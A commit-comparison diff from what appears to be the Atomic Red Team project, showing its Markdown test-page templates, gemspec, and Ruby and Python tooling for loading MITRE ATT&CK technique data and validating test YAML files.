Compare commits
14 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 825d8a23e4 | |||
| c173f44a0c | |||
| 70e8efd512 | |||
| 4f16386fc7 | |||
| c62a9819ad | |||
| 3f2beabd01 | |||
| 88f5b507d1 | |||
| 0de6af53a1 | |||
| 79ff2fac43 | |||
| 7d0948382d | |||
| e71c0c3b57 | |||
| 6e5582f7a6 | |||
| 07a88142a7 | |||
| 79a3602930 |
@@ -2,7 +2,7 @@
|
||||
|
||||
# Atomic Red Team
|
||||
|
||||
  
|
||||
  
|
||||
|
||||
|
||||
Atomic Red Team™ is a library of tests mapped to the
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
# Describe your gem and declare its dependencies:
|
||||
Gem::Specification.new do |s|
|
||||
s.name = 'atomic-red-team'
|
||||
s.version = '1.0'
|
||||
s.authors = ['Red Canary', 'Casey Smith', 'Mike Haag']
|
||||
s.email = ['it@redcanary.com', 'opensource@redcanary.com']
|
||||
s.summary = 'Small, highly portable, community developed detection tests mapped to ATT&CK.'
|
||||
s.license = "MIT"
|
||||
s.homepage = "https://redcanary.com/atomic-red-team"
|
||||
s.files = %w(atomic-red-team.gemspec) + Dir['{atomic_red_team}/**/*', '*.md', 'bin/*']
|
||||
s.test_files = Dir['spec/**/*']
|
||||
s.require_paths = %w(atomic_red_team)
|
||||
|
||||
s.add_development_dependency 'github-pages'
|
||||
end
|
||||
@@ -0,0 +1,99 @@
|
||||
# <%= technique['identifier'] %> - <%= technique['name'] -%>
|
||||
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/<%= technique['identifier'].gsub(/\./, '/') %>)
|
||||
<blockquote>
|
||||
|
||||
<%= technique['description'].gsub("%\\<", "%<").gsub(/<code>.*?<\/code>/) { |match| match.gsub('~', '\~') } %>
|
||||
|
||||
</blockquote>
|
||||
|
||||
## Atomic Tests
|
||||
<% atomic_yaml['atomic_tests'].each_with_index do |test, test_number| -%>
|
||||
<% title = "Atomic Test ##{test_number+1} - #{test['name']}" %>
|
||||
- [<%= title %>](#<%= title.downcase.gsub(/ /, '-').gsub(/[`~!@#$%^&*()+=<>?,.\/:;"'|{}\[\]\\–—]/, '') %>)
|
||||
<% end %>
|
||||
|
||||
<% atomic_yaml['atomic_tests'].each_with_index do |test, test_number| -%>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #<%= test_number+1 %> - <%= test['name'] %>
|
||||
<%= test['description'].strip -%>
|
||||
|
||||
|
||||
**Supported Platforms:** <%= test['supported_platforms'].collect do |p|
|
||||
case p
|
||||
when 'macos'
|
||||
'macOS'
|
||||
else
|
||||
p.capitalize
|
||||
end
|
||||
end.join(', ') %>
|
||||
|
||||
|
||||
**auto_generated_guid:** <%= test['auto_generated_guid'] %>
|
||||
|
||||
|
||||
<%def cleanup(input)
|
||||
input.to_s.strip.gsub(/\\/,"\")
|
||||
end%>
|
||||
|
||||
<% if test['input_arguments'].to_a.count > 0 %>
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
<% test['input_arguments'].each do |arg_name, arg_options| -%>
|
||||
| <%= cleanup(arg_name) %> | <%= cleanup(arg_options['description']) %> | <%= cleanup(arg_options['type']) %> | <%= cleanup(arg_options['default']) %>|
|
||||
<% end -%>
|
||||
<% end -%>
|
||||
|
||||
<%- if test['executor']['name'] == 'manual' -%>
|
||||
#### Run it with these steps! <%- if test['executor']['elevation_required'] -%> Elevation Required (e.g. root or admin) <%- end -%>
|
||||
|
||||
<%= test['executor']['steps'] %>
|
||||
<%- else -%>
|
||||
|
||||
#### Attack Commands: Run with `<%= test['executor']['name'] %>`! <%- if test['executor']['elevation_required'] -%> Elevation Required (e.g. root or admin) <%- end -%>
|
||||
|
||||
<%def get_language(executor)
|
||||
language = executor
|
||||
if executor == "command_prompt"
|
||||
language = "cmd"
|
||||
elsif executor == "manual"
|
||||
language = ""
|
||||
end
|
||||
language
|
||||
end%>
|
||||
|
||||
```<%= get_language(test['executor']['name']) %>
|
||||
<%= test['executor']['command'].to_s.strip %>
|
||||
```
|
||||
<%- end -%>
|
||||
|
||||
<%- if test['executor']['cleanup_command'] != nil -%>
|
||||
#### Cleanup Commands:
|
||||
```<%= get_language(test['executor']['name']) %>
|
||||
<%= test['executor']['cleanup_command'].to_s.strip %>
|
||||
```
|
||||
<%- end -%>
|
||||
|
||||
<% if test['dependencies'].to_a.count > 0 %>
|
||||
<% dependency_executor = test['executor']['name'] %>
|
||||
#### Dependencies: Run with `<%- if test['dependency_executor_name'] != nil%><% dependency_executor = test['dependency_executor_name'] %><%= test['dependency_executor_name'] %><%- else -%><%= test['executor']['name'] %><%- end -%>`!
|
||||
<% test['dependencies'].each do | dep | -%>
|
||||
##### Description: <%= dep['description'].strip %>
|
||||
##### Check Prereq Commands:
|
||||
```<%= get_language(dependency_executor) %>
|
||||
<%= dep['prereq_command'].strip %>
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```<%= get_language(dependency_executor) %>
|
||||
<%= dep['get_prereq_command'].strip %>
|
||||
```
|
||||
<% end -%>
|
||||
<% end -%>
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<%- end -%>
|
||||
@@ -1,85 +0,0 @@
|
||||
# {{ technique['identifier'] }} - {{ technique['name'] }}
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/{{ technique['identifier'].replace('.', '/') }})
|
||||
<blockquote>
|
||||
|
||||
{{ technique['description'].replace("%\\<", "%<") }}
|
||||
|
||||
</blockquote>
|
||||
|
||||
## Atomic Tests
|
||||
|
||||
{% for test in atomic_yaml['atomic_tests'] -%}
|
||||
{% set title = "Atomic Test #" ~ (loop.index) ~ " - " ~ test['name'] -%}
|
||||
- [{{ title }}](#{{ title | slugify }})
|
||||
|
||||
{% endfor %}
|
||||
|
||||
{% for test in atomic_yaml['atomic_tests'] -%}
|
||||
<br/>
|
||||
|
||||
## Atomic Test #{{ loop.index }} - {{ test['name'] }}
|
||||
{{ test['description'].strip() }}
|
||||
|
||||
**Supported Platforms:** {{ test['supported_platforms'] | map('platform_display') | join(', ') }}
|
||||
|
||||
|
||||
**auto_generated_guid:** {{ test['auto_generated_guid'] }}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% if test.get('input_arguments') and test['input_arguments'] | length > 0 %}
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
{% for arg_name, arg_options in test['input_arguments'].items() -%}
|
||||
| {{ arg_name | cleanup }} | {{ arg_options['description'] | cleanup }} | {{ arg_options['type'] | cleanup }} | {{ arg_options.get('default', '') | cleanup }}|
|
||||
{% endfor %}
|
||||
|
||||
{% endif %}
|
||||
{%- if test['executor']['name'] == 'manual' %}
|
||||
#### Run it with these steps! {% if test['executor'].get('elevation_required') %} Elevation Required (e.g. root or admin) {% endif %}
|
||||
|
||||
{{ test['executor']['steps'] }}
|
||||
|
||||
{% else %}
|
||||
|
||||
#### Attack Commands: Run with `{{ test['executor']['name'] }}`! {% if test['executor'].get('elevation_required') %} Elevation Required (e.g. root or admin) {% endif %}
|
||||
|
||||
|
||||
|
||||
```{{ test['executor']['name'] | get_language }}
|
||||
{{ test['executor']['command'].strip() }}
|
||||
```
|
||||
|
||||
{% if test['executor'].get('cleanup_command') %}
|
||||
#### Cleanup Commands:
|
||||
```{{ test['executor']['name'] | get_language }}
|
||||
{{ test['executor']['cleanup_command'].strip() }}
|
||||
```
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
|
||||
|
||||
|
||||
{% if test.get('dependencies') and test['dependencies'] | length > 0 -%}
|
||||
#### Dependencies: Run with `{{ test.get('dependency_executor_name') or test['executor']['name'] }}`!
|
||||
{% for dep in test['dependencies'] -%}
|
||||
##### Description: {{ dep['description'].strip() }}
|
||||
##### Check Prereq Commands:
|
||||
```{{ (test.get('dependency_executor_name') or test['executor']['name']) | get_language }}
|
||||
{{ dep['prereq_command'].strip() }}
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```{{ (test.get('dependency_executor_name') or test['executor']['name']) | get_language }}
|
||||
{{ dep['get_prereq_command'].strip() }}
|
||||
```
|
||||
{% endfor %}
|
||||
|
||||
|
||||
{% endif %}
|
||||
|
||||
|
||||
<br/>
|
||||
{% endfor -%}
|
||||
@@ -0,0 +1 @@
|
||||
TBD
|
||||
Executable
+271
@@ -0,0 +1,271 @@
|
||||
require 'yaml'
|
||||
require 'erb'
|
||||
require 'attack_api'
|
||||
require 'securerandom'
|
||||
|
||||
class AtomicRedTeam
|
||||
ATTACK_API = Attack.new
|
||||
|
||||
ATOMICS_DIRECTORY = "#{File.dirname(File.dirname(__FILE__))}/atomics"
|
||||
|
||||
# TODO- should these all be relative URLs?
|
||||
ROOT_GITHUB_URL = "https://github.com/redcanaryco/atomic-red-team"
|
||||
|
||||
#
|
||||
# Returns a list of paths that contain Atomic Tests
|
||||
#
|
||||
def atomic_test_paths
|
||||
Dir["#{ATOMICS_DIRECTORY}/T*/T*.yaml"].sort
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of Atomic Tests in Atomic Red Team (as Hashes from source YAML)
|
||||
#
|
||||
def atomic_tests
|
||||
@atomic_tests ||= atomic_test_paths.collect do |path|
|
||||
atomic_yaml = YAML.load(File.read path)
|
||||
atomic_yaml['atomic_yaml_path'] = path
|
||||
atomic_yaml
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the individual Atomic Tests for a given identifer, passed as either a string (T1234) or an ATT&CK technique object
|
||||
#
|
||||
def atomic_tests_for_technique_by_platform(technique_or_technique_identifier, platform)
|
||||
technique_identifier = if technique_or_technique_identifier.is_a? Hash
|
||||
ATTACK_API.technique_identifier_for_technique technique_or_technique_identifier
|
||||
else
|
||||
technique_or_technique_identifier
|
||||
end
|
||||
|
||||
test_list = Array.new
|
||||
atomic_tests.find do |atomic_yaml|
|
||||
if atomic_yaml.fetch('attack_technique').upcase == technique_identifier.upcase
|
||||
atomic_yaml['atomic_tests'].each do |a_test|
|
||||
if a_test["supported_platforms"].include?(platform[:platform])
|
||||
test_list.append(a_test)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
test_list
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the individual Atomic Tests for a given identifer, passed as either a string (T1234) or an ATT&CK technique object
|
||||
#
|
||||
def atomic_tests_for_technique(technique_or_technique_identifier)
|
||||
technique_identifier = if technique_or_technique_identifier.is_a? Hash
|
||||
ATTACK_API.technique_identifier_for_technique technique_or_technique_identifier
|
||||
else
|
||||
technique_or_technique_identifier
|
||||
end
|
||||
|
||||
atomic_tests.find do |atomic_yaml|
|
||||
atomic_yaml.fetch('attack_technique').upcase == technique_identifier.upcase
|
||||
end.to_h.fetch('atomic_tests', [])
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a Markdown formatted Github link to a technique. This will be to the edit page for
|
||||
# techniques that already have one or more Atomic Red Team tests, or the create page for
|
||||
# techniques that have no existing tests for the given OS.
|
||||
#
|
||||
def github_link_to_technique(technique, include_identifier: false, only_platform: self.only_platform)
|
||||
technique_identifier = ATTACK_API.technique_identifier_for_technique(technique).upcase
|
||||
link_display = "#{"#{technique_identifier.upcase} " if include_identifier}#{technique['name']}"
|
||||
yaml_file = "#{ATOMICS_DIRECTORY}/#{technique_identifier}/#{technique_identifier}.yaml"
|
||||
markdown_file = "#{ATOMICS_DIRECTORY}/#{technique_identifier}/#{technique_identifier}.md"
|
||||
|
||||
if atomic_yaml_has_test_for_platform(yaml_file, only_platform) && (File.exist? markdown_file)
|
||||
# we have a file for this technique, so link to it's Markdown file
|
||||
"[#{link_display}](../../#{technique_identifier}/#{technique_identifier}.md)"
|
||||
else
|
||||
# we don't have a file for this technique, or there are not tests for the given platform, so link to an edit page
|
||||
"#{link_display} [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)"
|
||||
end
|
||||
end
|
||||
|
||||
def atomic_yaml_has_test_for_platform(yaml_file, only_platform)
|
||||
has_test_for_platform = false
|
||||
if File.exist? yaml_file
|
||||
yaml = YAML.load_file(yaml_file)
|
||||
yaml['atomic_tests'].each_with_index do |atomic, i|
|
||||
if atomic["supported_platforms"].any? {|platform| platform.downcase =~ only_platform}
|
||||
has_test_for_platform = true
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
return has_test_for_platform
|
||||
end
|
||||
|
||||
def validate_atomic_yaml!(yaml, used_guids_file, unique_guid_array)
|
||||
raise("YAML file has no elements") if yaml.nil?
|
||||
|
||||
raise('`attack_technique` element is required') unless yaml.has_key?('attack_technique')
|
||||
raise('`attack_technique` element must be a string') unless yaml['attack_technique'].is_a?(String)
|
||||
|
||||
raise('`display_name` element is required') unless yaml.has_key?('display_name')
|
||||
raise('`display_name` element must be an array') unless yaml['display_name'].is_a?(String)
|
||||
|
||||
raise('`atomic_tests` element is required') unless yaml.has_key?('atomic_tests')
|
||||
raise('`atomic_tests` element must be an array') unless yaml['atomic_tests'].is_a?(Array)
|
||||
raise('`atomic_tests` element is empty - you have no tests') unless yaml['atomic_tests'].count > 0
|
||||
|
||||
yaml['atomic_tests'].each_with_index do |atomic, i|
|
||||
raise("`atomic_tests[#{i}].name` element is required") unless atomic.has_key?('name')
|
||||
raise("`atomic_tests[#{i}].name` element must be a string") unless atomic['name'].is_a?(String)
|
||||
|
||||
if atomic.has_key?('auto_generated_guid')
|
||||
guid = atomic["auto_generated_guid"].to_s
|
||||
raise("`atomic_tests[#{i}].auto_generated_guid` element not a proper guid") unless /[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}/.match(guid)
|
||||
raise("`atomic_tests[#{i}].auto_generated_guid` element must be unique") unless !unique_guid_array.include?(guid)
|
||||
unique_guid_array << guid
|
||||
end
|
||||
|
||||
raise("`atomic_tests[#{i}].description` element is required") unless atomic.has_key?('description')
|
||||
raise("`atomic_tests[#{i}].description` element must be a string") unless atomic['description'].is_a?(String)
|
||||
|
||||
raise("`atomic_tests[#{i}].supported_platforms` element is required") unless atomic.has_key?('supported_platforms')
|
||||
raise("`atomic_tests[#{i}].supported_platforms` element must be an Array (was a #{atomic['supported_platforms'].class.name})") unless atomic['supported_platforms'].is_a?(Array)
|
||||
|
||||
valid_supported_platforms = ['windows', 'macos', 'linux', 'office-365', 'azure-ad', 'google-workspace', 'saas', 'iaas', 'containers', 'iaas:aws', 'iaas:azure', 'iaas:gcp']
|
||||
atomic['supported_platforms'].each do |platform|
|
||||
if !valid_supported_platforms.include?(platform)
|
||||
raise("`atomic_tests[#{i}].supported_platforms` '#{platform}' must be one of #{valid_supported_platforms.join(', ')}")
|
||||
end
|
||||
end
|
||||
|
||||
if atomic['dependencies']
|
||||
atomic['dependencies'].each do |dependency|
|
||||
raise("`atomic_tests[#{i}].dependencies` '#{dependency}' must be have a description}") unless dependency.has_key?('description')
|
||||
raise("`atomic_tests[#{i}].dependencies` '#{dependency}' must be have a prereq_command}") unless dependency.has_key?('prereq_command')
|
||||
raise("`atomic_tests[#{i}].dependencies` '#{dependency}' must be have a get_prereq_command}") unless dependency.has_key?('get_prereq_command')
|
||||
end
|
||||
end
|
||||
(atomic['input_arguments'] || {}).each_with_index do |arg_kvp, iai|
|
||||
arg_name, arg = arg_kvp
|
||||
raise("`atomic_tests[#{i}].input_arguments[#{iai}].description` element is required") unless arg.has_key?('description')
|
||||
raise("`atomic_tests[#{i}].input_arguments[#{iai}].description` element must be a string") unless arg['description'].is_a?(String)
|
||||
|
||||
raise("`atomic_tests[#{i}].input_arguments[#{iai}].type` element is required") unless arg.has_key?('type')
|
||||
raise("`atomic_tests[#{i}].input_arguments[#{iai}].type` element must be a string") unless arg['type'].is_a?(String)
|
||||
raise("`atomic_tests[#{i}].input_arguments[#{iai}].type` element must be lowercased and underscored (was #{arg['type']})") unless arg['type'] =~ /[a-z_]+/
|
||||
|
||||
# TODO: determine if we think default values are required for EVERY input argument
|
||||
# raise("`atomic_tests[#{i}].input_arguments[#{iai}].default` element is required") unless arg.has_key?('default')
|
||||
# raise("`atomic_tests[#{i}].input_arguments[#{iai}].default` element must be a string (was a #{arg['default'].class.name})") unless arg['default'].is_a?(String)
|
||||
end
|
||||
|
||||
raise("`atomic_tests[#{i}].executor` element is required") unless atomic.has_key?('executor')
|
||||
executor = atomic['executor']
|
||||
raise("`atomic_tests[#{i}].executor.name` element is required") unless executor.has_key?('name')
|
||||
raise("`atomic_tests[#{i}].executor.name` element must be a string") unless executor['name'].is_a?(String)
|
||||
raise("`atomic_tests[#{i}].executor.name` element must be lowercased and underscored (was #{executor['name']})") unless executor['name'] =~ /[a-z_]+/
|
||||
|
||||
valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual', 'aws', 'az', 'gcloud', 'kubectl']
|
||||
case executor['name']
|
||||
when 'manual'
|
||||
raise("`atomic_tests[#{i}].executor.steps` element is required") unless executor.has_key?('steps')
|
||||
raise("`atomic_tests[#{i}].executor.steps` element must be a string") unless executor['steps'].is_a?(String)
|
||||
|
||||
validate_input_args_vs_string! input_args: (atomic['input_arguments'] || {}).keys,
|
||||
string: executor['steps'],
|
||||
string_description: "atomic_tests[#{i}].executor.steps"
|
||||
|
||||
when 'command_prompt', 'sh', 'bash', 'powershell', 'aws', 'az', 'gcloud', 'kubectl'
|
||||
raise("`atomic_tests[#{i}].executor.command` element is required") unless executor.has_key?('command')
|
||||
raise("`atomic_tests[#{i}].executor.command` element must be a string") unless executor['command'].is_a?(String)
|
||||
|
||||
validate_input_args_vs_string! input_args: (atomic['input_arguments'] || {}).keys,
|
||||
string: executor['command'],
|
||||
string_description: "atomic_tests[#{i}].executor.command"
|
||||
else
|
||||
raise("`atomic_tests[#{i}].executor.name` '#{executor['name']}' must be one of #{valid_executor_types.join(', ')}")
|
||||
end
|
||||
|
||||
validate_no_todos!(atomic, path: "atomic_tests[#{i}]")
|
||||
end
|
||||
end
|
||||
|
||||
def record_used_guids!(yaml, used_guids_file)
|
||||
return unless !yaml.nil?
|
||||
|
||||
yaml['atomic_tests'].each_with_index do |atomic, i|
|
||||
next unless atomic.has_key?('auto_generated_guid')
|
||||
guid = atomic["auto_generated_guid"].to_s
|
||||
add_guid_to_used_guid_file(guid, used_guids_file) unless guid == ''
|
||||
end
|
||||
end
|
||||
|
||||
def generate_guids_for_yaml!(path, used_guids_file)
|
||||
text = File.read(path)
|
||||
# add the "auto_generated_guid:" element after the "- name:" element if it isn't already there
|
||||
text.gsub!(/(?i)(^([ \t]*-[ \t]*)name:.*$(?!\s*auto_generated_guid))/) { |m| "#{$1}\n#{$2.gsub(/-/," ")}auto_generated_guid:"}
|
||||
# fill the "auto_generated_guid:" element in if it doesn't contain a guid
|
||||
text.gsub!(/(?i)^([ \t]*auto_generated_guid:)(?!([ \t]*[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12})).*$/) { |m| "#{$1} #{get_unique_guid!(used_guids_file)}"}
|
||||
|
||||
File.open(path, "w") { |file| file << text }
|
||||
end
|
||||
|
||||
# generates a unique guid and records the guid as having been used by writing it to the used_guids_file
|
||||
def get_unique_guid!(used_guids_file)
|
||||
new_guid = ''
|
||||
20.times do |i| # if it takes more than 20 tries to get a unique guid, there must be something else going on
|
||||
new_guid = SecureRandom.uuid
|
||||
break unless !is_unique_guid(new_guid, used_guids_file)
|
||||
end
|
||||
# add this new unique guid to the used guids file
|
||||
add_guid_to_used_guid_file(new_guid, used_guids_file)
|
||||
return new_guid
|
||||
end
|
||||
|
||||
# add guid to used guid file if it is the proper format and is not already in the file. raises an exception if guid isn't valid
|
||||
def add_guid_to_used_guid_file(guid, used_guids_file)
|
||||
open(used_guids_file, 'a') { |f|
|
||||
raise("the GUID (#{guid}) does not match the required format for the `auto_generated_guid` element") unless /[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}/ =~ guid
|
||||
f.puts guid unless !is_unique_guid(guid, used_guids_file)
|
||||
}
|
||||
end
|
||||
|
||||
def is_unique_guid(guid, used_guids_file)
|
||||
return !File.foreach(used_guids_file).grep(/#{guid}/).any?
|
||||
end
|
||||
|
||||
#
|
||||
# Validates that the arguments (specified in "#{arg}" format) in a string
|
||||
# match the input_arguments for a test
|
||||
#
|
||||
def validate_input_args_vs_string!(input_args:, string:, string_description:)
|
||||
input_args_in_string = string.scan(/#\{([^}]+)\}/).to_a.flatten
|
||||
|
||||
input_args_in_string_and_not_specced = input_args_in_string - input_args
|
||||
if input_args_in_string_and_not_specced.count > 0
|
||||
raise("`#{string_description}` contains args #{input_args_in_string_and_not_specced} not in input_arguments")
|
||||
end
|
||||
|
||||
input_args_in_spec_not_string = input_args - input_args_in_string
|
||||
if input_args_in_string_and_not_specced.count > 0
|
||||
raise("`atomic_tests[#{i}].input_arguments` contains args #{input_args_in_spec_not_string} not in command")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Recursively validates that the hash (or something) doesn't contain a TODO
|
||||
#
|
||||
def validate_no_todos!(hashish, path:)
|
||||
if hashish.is_a? String
|
||||
raise "`#{path}` contains a TODO" if hashish.include? 'TODO'
|
||||
elsif hashish.is_a? Array
|
||||
hashish.each_with_index do |item, i|
|
||||
validate_no_todos! item, path: "#{path}[#{i}]"
|
||||
end
|
||||
elsif hashish.is_a? Hash
|
||||
hashish.each do |k, v|
|
||||
validate_no_todos! v, path: "#{path}.#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,238 +0,0 @@
|
||||
"""
|
||||
Attack API module for loading and querying MITRE ATT&CK technique data.
|
||||
|
||||
This module provides the Attack class that loads information about ATT&CK techniques
|
||||
from MITRE's ATT&CK STIX representation using the mitreattack-python library.
|
||||
"""
|
||||
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Pattern
|
||||
|
||||
# Tactics in the order that the ATT&CK matrix uses
|
||||
ORDERED_TACTICS = [
|
||||
"initial-access",
|
||||
"execution",
|
||||
"persistence",
|
||||
"privilege-escalation",
|
||||
"defense-evasion",
|
||||
"credential-access",
|
||||
"discovery",
|
||||
"lateral-movement",
|
||||
"collection",
|
||||
"exfiltration",
|
||||
"command-and-control",
|
||||
"impact",
|
||||
]
|
||||
|
||||
|
||||
class Attack:
|
||||
"""
|
||||
API class that loads information about ATT&CK techniques from MITRE's ATT&CK
|
||||
STIX representation. Optimized for speed with caching.
|
||||
"""
|
||||
|
||||
def __init__(self, stix_file: Optional[str] = None):
|
||||
"""
|
||||
Initialize the Attack API.
|
||||
|
||||
Args:
|
||||
stix_file: Optional path to a local STIX JSON file.
|
||||
Defaults to enterprise-attack.json in the same directory.
|
||||
"""
|
||||
if stix_file is None:
|
||||
stix_file = str(Path(__file__).parent / "enterprise-attack.json")
|
||||
self._stix_file = stix_file
|
||||
self._techniques: Optional[List[dict]] = None
|
||||
self._technique_by_id: Optional[Dict[str, dict]] = None
|
||||
self._attack_stix: Optional[dict] = None
|
||||
|
||||
def _load_stix(self) -> dict:
|
||||
"""Load and cache the STIX JSON data."""
|
||||
if self._attack_stix is None:
|
||||
with open(self._stix_file, "r", encoding="utf-8") as f:
|
||||
self._attack_stix = json.load(f)
|
||||
return self._attack_stix
|
||||
|
||||
@property
|
||||
def ordered_tactics(self) -> List[str]:
|
||||
"""Returns tactics in the order that the ATT&CK matrix uses."""
|
||||
return ORDERED_TACTICS
|
||||
|
||||
def technique_identifier_for_technique(self, technique: dict) -> str:
|
||||
"""
|
||||
Returns the technique identifier (e.g., T1234) for a Technique object.
|
||||
|
||||
Args:
|
||||
technique: A technique dictionary from the STIX data.
|
||||
|
||||
Returns:
|
||||
The technique ID (e.g., "T1234" or "T1234.001").
|
||||
"""
|
||||
external_refs = technique.get("external_references", [])
|
||||
for ref in external_refs:
|
||||
if ref.get("source_name") == "mitre-attack":
|
||||
return ref.get("external_id", "").upper()
|
||||
return ""
|
||||
|
||||
def _build_technique_index(self) -> Dict[str, dict]:
|
||||
"""Build an index of technique_id -> technique for fast lookups."""
|
||||
if self._technique_by_id is None:
|
||||
self._technique_by_id = {}
|
||||
for technique in self.techniques:
|
||||
tech_id = self.technique_identifier_for_technique(technique)
|
||||
if tech_id:
|
||||
self._technique_by_id[tech_id] = technique
|
||||
return self._technique_by_id
|
||||
|
||||
def technique_info(self, technique_id: str) -> Optional[dict]:
|
||||
"""
|
||||
Returns a Technique object given a technique identifier (T1234).
|
||||
|
||||
Args:
|
||||
technique_id: The technique ID (e.g., "T1234").
|
||||
|
||||
Returns:
|
||||
The technique dictionary or None if not found.
|
||||
"""
|
||||
index = self._build_technique_index()
|
||||
return index.get(technique_id.upper())
|
||||
|
||||
def ordered_tactic_to_technique_matrix(
|
||||
self, only_platform: Pattern = re.compile(r".*")
|
||||
) -> List[List[Optional[dict]]]:
|
||||
"""
|
||||
Returns the ATT&CK Matrix as a 2D array, in order by ordered_tactics.
|
||||
|
||||
Args:
|
||||
only_platform: Regex pattern to filter techniques by platform.
|
||||
|
||||
Returns:
|
||||
2D list of techniques organized by tactic columns.
|
||||
"""
|
||||
all_techniques = self.techniques_by_tactic(only_platform=only_platform)
|
||||
|
||||
# Make a 2D array of techniques in the order our tactics appear
|
||||
all_techniques_in_tactic_order = []
|
||||
for tactic in self.ordered_tactics:
|
||||
all_techniques_in_tactic_order.append(all_techniques.get(tactic, []))
|
||||
|
||||
# Figure out the max number of techniques any one tactic has
|
||||
max_techniques = (
|
||||
max(len(techs) for techs in all_techniques_in_tactic_order)
|
||||
if all_techniques_in_tactic_order
|
||||
else 0
|
||||
)
|
||||
|
||||
if max_techniques == 0:
|
||||
return []
|
||||
|
||||
# Extend each array of techniques to that length
|
||||
for techniques in all_techniques_in_tactic_order:
|
||||
techniques.extend([None] * (max_techniques - len(techniques)))
|
||||
|
||||
# Transpose to give us the data in columnar format
|
||||
return list(map(list, zip(*all_techniques_in_tactic_order)))
|
||||
|
||||
def techniques_by_tactic(
|
||||
self, only_platform: Pattern = re.compile(r".*")
|
||||
) -> Dict[str, List[dict]]:
|
||||
"""
|
||||
Returns a map of all [ATT&CK Tactic name] => [List of ATT&CK techniques].
|
||||
|
||||
Args:
|
||||
only_platform: Regex pattern to filter techniques by platform.
|
||||
|
||||
Returns:
|
||||
Dictionary mapping tactic names to lists of techniques.
|
||||
"""
|
||||
techniques_by_tactic: Dict[str, List[dict]] = {}
|
||||
|
||||
for technique in self.techniques:
|
||||
platforms = technique.get("x_mitre_platforms")
|
||||
if platforms is None:
|
||||
continue
|
||||
|
||||
# Check if any platform matches
|
||||
platform_match = any(
|
||||
only_platform.match(p.lower().replace(" ", "-")) for p in platforms
|
||||
)
|
||||
if not platform_match:
|
||||
continue
|
||||
|
||||
# Skip revoked or deprecated techniques
|
||||
if technique.get("revoked", False):
|
||||
continue
|
||||
if technique.get("x_mitre_deprecated", False):
|
||||
continue
|
||||
|
||||
# Add to each tactic this technique belongs to
|
||||
kill_chain_phases = technique.get("kill_chain_phases", [])
|
||||
for phase in kill_chain_phases:
|
||||
if phase.get("kill_chain_name") == "mitre-attack":
|
||||
tactic_name = phase.get("phase_name")
|
||||
if tactic_name:
|
||||
if tactic_name not in techniques_by_tactic:
|
||||
techniques_by_tactic[tactic_name] = []
|
||||
techniques_by_tactic[tactic_name].append(technique)
|
||||
|
||||
return techniques_by_tactic
|
||||
|
||||
@property
|
||||
def techniques(self) -> List[dict]:
|
||||
"""
|
||||
Returns a list of all ATT&CK techniques.
|
||||
|
||||
Returns:
|
||||
List of technique dictionaries.
|
||||
"""
|
||||
if self._techniques is not None:
|
||||
return self._techniques
|
||||
|
||||
stix_data = self._load_stix()
|
||||
self._techniques = []
|
||||
|
||||
for item in stix_data.get("objects", []):
|
||||
if item.get("type") != "attack-pattern":
|
||||
continue
|
||||
|
||||
# Check if it has mitre-attack external reference
|
||||
external_refs = item.get("external_references", [])
|
||||
has_mitre_ref = any(
|
||||
ref.get("source_name") == "mitre-attack" for ref in external_refs
|
||||
)
|
||||
if has_mitre_ref:
|
||||
self._techniques.append(item)
|
||||
|
||||
return self._techniques
|
||||
|
||||
def get_tactics(self) -> List[dict]:
|
||||
"""
|
||||
Returns a list of all ATT&CK tactics.
|
||||
|
||||
Returns:
|
||||
List of tactic dictionaries.
|
||||
"""
|
||||
stix_data = self._load_stix()
|
||||
tactics = []
|
||||
for item in stix_data.get("objects", []):
|
||||
if item.get("type") == "x-mitre-tactic":
|
||||
tactics.append(item)
|
||||
return tactics
|
||||
|
||||
|
||||
# Singleton instance for convenience - lazy loaded
|
||||
_attack_api: Optional[Attack] = None
|
||||
|
||||
|
||||
def get_attack_api() -> Attack:
|
||||
"""Get or create the singleton Attack API instance."""
|
||||
global _attack_api
|
||||
if _attack_api is None:
|
||||
_attack_api = Attack()
|
||||
return _attack_api
|
||||
|
||||
|
||||
# For backwards compatibility
|
||||
ATTACK_API = Attack()
|
||||
Executable
+119
@@ -0,0 +1,119 @@
|
||||
require 'open-uri'
|
||||
require 'json'
|
||||
|
||||
#
|
||||
# Attack is an API class that loads information about ATT&CK techniques from MITRE'S ATT&CK
|
||||
# STIX representation. It makes it very simple to do common things with ATT&CK.
|
||||
#
|
||||
class Attack
|
||||
#
|
||||
# Tactics as presented in the order that the ATT&CK matrics uses
|
||||
#
|
||||
def ordered_tactics
|
||||
[
|
||||
'initial-access',
|
||||
'execution',
|
||||
'persistence',
|
||||
'privilege-escalation',
|
||||
'defense-evasion',
|
||||
'credential-access',
|
||||
'discovery',
|
